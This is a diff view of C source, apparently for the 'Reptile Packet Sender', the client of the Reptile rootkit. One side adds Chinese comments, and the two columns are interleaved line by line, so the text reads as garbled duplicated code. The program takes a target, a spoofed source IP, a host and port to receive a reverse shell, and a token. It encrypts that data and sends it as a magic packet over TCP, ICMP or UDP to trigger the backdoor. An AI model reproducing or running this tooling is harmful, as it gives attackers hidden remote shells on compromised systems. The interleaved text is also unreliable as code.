free_buffer: free_buffer:
free(buffer); // 释放缓冲区内存
return ret; free(buffer);
return ret; // 返回结果
} }
void usage(char *argv0) void usage(char* argv0)
{ {
fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n"); // 打印使用说明
fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n"); fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
fprintf(stderr, "\nUsage: %s [options]\n\n", argv0); fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
fprintf(stderr, "-t\tTarget\n"); fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n"); fprintf(stderr, "-t\tTarget\n");
fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n"); fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-s\tSource IP address to spoof\n"); fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n"); fprintf(stderr, "-s\tSource IP address to spoof\n");
fprintf(stderr, "-l\tHost to receive the reverse shell\n"); fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-p\tHost port to receive the reverse shell\n"); fprintf(stderr, "-l\tHost to receive the reverse shell\n");
fprintf(stderr, "-k\tToken to trigger the port-knocking\n\n"); fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
exit(1); fprintf(stderr, "-k\tToken to trigger the port-knocking\n");
exit(1); // 退出程序
} }
int main(int argc, char **argv) int main(int argc, char** argv)
{ {
int opt, dstport, srcport, len, crypt_len; // 声明变量
char *prot, *dstip, *srcip, *connect_back_host, *connect_back_port, int opt, dstport, srcport, len, crypt_len;
*token, *data; char* prot, * dstip, * srcip, * connect_back_host, * connect_back_port,
* token, * data;
dstport = srcport = 0;
// 初始化端口变量
prot = dstip = srcip = connect_back_host = connect_back_port = token = dstport = srcport = 0;
NULL;
// 初始化字符串指针
while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) { prot = dstip = srcip = connect_back_host = connect_back_port = token =
switch (opt) { NULL;
case 'x':
prot = optarg; // 解析命令行参数
if (strcmp(prot, "icmp") == 0 || while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
strcmp(prot, "ICMP") == 0) { switch (opt) {
if (strcmp(prot, "udp") == 0 || case 'x':
strcmp(prot, "UDP") == 0) { // 设置协议
if (strcmp(prot, "tcp") == 0 || prot = optarg;
strcmp(prot, "TCP") == 0) { // 检查协议是否合法
printf("%s wrong " if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
"protocol\n", if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
bad); if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
exit(-1); printf("%s wrong protocol\n", bad);
} exit(-1);
} }
} }
break; }
case 't': break;
if (strlen(optarg) > 15) { case 't':
printf("%s wrong IP address\n", bad); // 设置目标IP
exit(-1); if (strlen(optarg) > 15) {
} printf("%s wrong IP address\n", bad);
dstip = optarg; exit(-1);
break; }
case 'l': dstip = optarg;
if (strlen(optarg) > 15) { break;
printf("%s wrong IP address\n", bad); case 'l':
exit(-1); // 设置连接回显IP
} if (strlen(optarg) > 15) {
connect_back_host = optarg; printf("%s wrong IP address\n", bad);
break; exit(-1);
case 'p': }
if (atoi(optarg) < 0 || atoi(optarg) > 65535) { connect_back_host = optarg;
printf("%s wrong port\n", bad); break;
exit(-1); case 'p':
} // 设置连接回显端口
connect_back_port = optarg; if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
break; printf("%s wrong port\n", bad);
case 'r': exit(-1);
if (atoi(optarg) < 0 || atoi(optarg) > 65535) { }
printf("%s wrong port\n", bad); connect_back_port = optarg;
exit(-1); break;
} case 'r':
dstport = atoi(optarg); // 设置远程端口
break; if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
case 's': printf("%s wrong port\n", bad);
if (strlen(optarg) > 15) { exit(-1);
printf("%s wrong IP address\n", bad); }
exit(-1); dstport = atoi(optarg);
} break;
srcip = optarg; case 's':
break; // 设置源IP
case 'q': if (strlen(optarg) > 15) {
if (atoi(optarg) < 0 || atoi(optarg) > 65535) { printf("%s wrong IP address\n", bad);
printf("%s wrong port\n", bad); exit(-1);
exit(-1); }
} srcip = optarg;
srcport = atoi(optarg); break;
break; case 'q':
case 'k': // 设置源端口
if (strlen(optarg) > 16 || strlen(optarg) < 5) { if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong size of token\n", bad); printf("%s wrong port\n", bad);
exit(-1); exit(-1);
} }
token = optarg; srcport = atoi(optarg);
break; break;
default: case 'k':
usage(argv[0]); // 设置令牌
break; if (strlen(optarg) > 16 || strlen(optarg) < 5) {
} printf("%s wrong size of token\n", bad);
} exit(-1);
}
if (prot == NULL || dstip == NULL || srcip == NULL || token = optarg;
connect_back_host == NULL || connect_back_port == NULL || break;
token == NULL) { default:
usage(argv[0]); // 打印使用说明
} usage(argv[0]);
break;
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 || }
strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) { }
if (srcport == 0 || dstport == 0)
usage(argv[0]); // 检查必要的参数是否已设置
} if (prot == NULL || dstip == NULL || srcip == NULL ||
connect_back_host == NULL || connect_back_port == NULL ||
token == NULL) {
len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3; usage(argv[0]);
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2; }
data = (char *)malloc(len);
// 检查端口参数
if (!data) if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
fatal("malloc"); strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
if (srcport == 0 || dstport == 0)
bzero(data, len); usage(argv[0]);
snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port); }
do_encrypt(data + strlen(token) + 1, crypt_len, KEY);
// 计算数据长度
// printf("data size: %d\n", len); len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3;
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2;
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) { data = (char*)malloc(len);
tcp(srcip, dstip, srcport, dstport, data, len);
} else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) { // 检查内存分配
icmp(srcip, dstip, data, len); if (!data)
} else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) { fatal("malloc");
udp(srcip, dstip, srcport, dstport, data, len);
} // 初始化数据
bzero(data, len);
free(data); snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port);
return EXIT_SUCCESS; do_encrypt(data + strlen(token) + 1, crypt_len, KEY); // 加密数据
// 根据协议发送数据包
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
tcp(srcip, dstip, srcport, dstport, data, len);
}
else if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
icmp(srcip, dstip, data, len);
}
else if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
udp(srcip, dstip, srcport, dstport, data, len);
}
// 释放内存
free(data);
return EXIT_SUCCESS; // 返回成功
} }
Loading…
Cancel
Save